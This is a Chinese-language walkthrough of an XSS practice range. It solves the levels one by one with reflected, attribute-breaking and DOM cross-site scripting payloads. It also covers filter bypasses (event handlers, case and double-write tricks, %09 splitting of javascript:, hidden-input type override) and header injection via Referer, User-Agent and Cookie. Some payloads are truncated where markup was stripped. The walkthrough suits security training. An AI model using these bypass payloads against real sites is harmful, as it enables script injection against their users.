靶场地址
image.png

一、反射型,无任何过滤

无任何过滤.hackbar name=test改为

二、反射型,标签内

标签内的.两个输入点test。测试下第二个可以。
image.png
“ onclick=alert(1)> 需要点击一下输入框。
“ onmouseover=alert(1)> 要鼠标滑过输入框
“ onmouseleave=alert(1)> 鼠标离开
“ onmouseenter=alert(1)> 鼠标进入选区
使用onstart当显示代码时执行和onload加载完成时执行都不可用。
image.png

三、过滤>,标签内

标签内过滤了>的.依然两个输出点,标签内的可以。
keyword=语句
‘ onclick=alert(1)//
原理是//把后面的>注释掉。掐的跟2一样
image.png
或者’ onclick=alert(1)%0a %0a用作换行的input标签语法正确。

四、过滤>和’

跟3一样把 ‘ 换成 “

五、过滤on事件

过滤了on事件,on会变成o_n,font被过滤fo_nt.
image.png
使用JavaScript来绕过
“>点击一下构造出的链接即可
“>
image.png
2

2
“ onmouseover=document.body.innerHTML=document.URL “#Xss.tv - 图8 可以考虑
“; document.body.innerHTML=document.URL// #Xss.tv - 图9
可以用js,用按钮进行连接。写一个onclick事件,用window.location.href=””;或者可以用form表单也可以当做跳转链接,不需要传参。

六、过滤on和src和href等

过滤on和src、href等
image.png
大小写绕过
“>

七、过滤script、href关键字

过滤了script,href等关键字,置换为空,双写绕过
“>helloalert(1)
“>alert(1)
使用”>等on都无法绕过。
这里的双写不是写两遍而是一个包裹着另一个SScciptcript
“> 无效
image.png
“>
可以绕过
image.png
“>
也可以绕过

八、过滤”和javascript关键字

这道题过滤 “ 和javascript关键字,会把javascript变成javasc_ript。href变成hr_ef,on变成o_n。可以通过tab制表符绕过(%09)
image.png
如果将a标签内变成需要闭合的标签外则目前无解。
javasc%09ript:alert(1) 需要点击一下页面内链接
因为是链接里的所以要用JavaScript标签

  • window.location.assign //加载一个新的文件

    九、注释http://

    必须要包含http://。否则404
    javascr%09ipt:alert(1)//http://
    这里必须要用单行注释符//注释掉后面的http://
    这里因为在javascript伪协议里面,属于js范畴,所以单行注释符是可以使用的。
    最后使用%0a换行不行。因为http://是必须存在的不能不完整。

    十、没有明显的输入点

    没有输出点怎么破?看了一下先知的wp,发现有隐藏的form和input
    image.png
    没有什么过滤就是把内容变成了From里面的input插入。因为三个input都是hidden所以需要在前面设定一个值,后面再将input type改为不再hidden和触发键。
    keyword=test&t_sort=” type=”text” onclick=”alert()
    这里的type换成password,button,checkbox,file,radio,reset,submit也可以,onclick换成onmouseover,onmouseenter,onmouseleave都可以。
    XXX&t_sort=” type=”password” onclick=”alert()
    必须前面最少一个输出到屏幕的语句
    image.png

    十一、十二、十三

    11,12,13都一样。只是输入点不同。

    十一、referer

    t_ref有东西。是Refer输入,所以需要Burp抓包或者直接刷新页面再添加Refer达到目的。Refer是告诉浏览器从哪个页面过来的。
    image.png
    image.png
    添加Refer之后再刷新。
    与HTTP包里的内容无关,全看Refer里的内容。
    image.png
    image.png

    十二、UA

    UA输入,User_Agent:凭证代理信息,让服务器知道客户的系统和版本和浏览器和版本。
    同11,点击User_Agent添加内容即可。

    十三、cookie输入

    image.png
    image.png

    image.png

    十四、exif xss(不建议做)

    这关的exif xss环境有问题,且exif在实战中基本可以说遇不到。

    十五、Angular JS(DOM型)

    有同源策略,可以包含本站的有漏洞的页面
    1. ?src='level1.php?name=<a href="javascript:alert(1)">xss</a>'

    ?src=’level1.php?name=Xss.tv - 图23
    F12,点击左上角选择元素箭头,选择图片
    image.png
    在图片中插入语句Xss.tv - 图25image.png

    image.png
    十六、实体转义

    url中插入语句试探?keyword=
    没反应,右键查看源代码
    image.png
    斜杠【/】被过滤,斜杠被转义成了实体编码【&nbsp】
    使用空格的其他形态:%0d、%0a

十七、十八是参数拼接,使用两个参数,分别插入xss代码,将两者的结果拼接起来触发xss
十九、二十是Flash XSS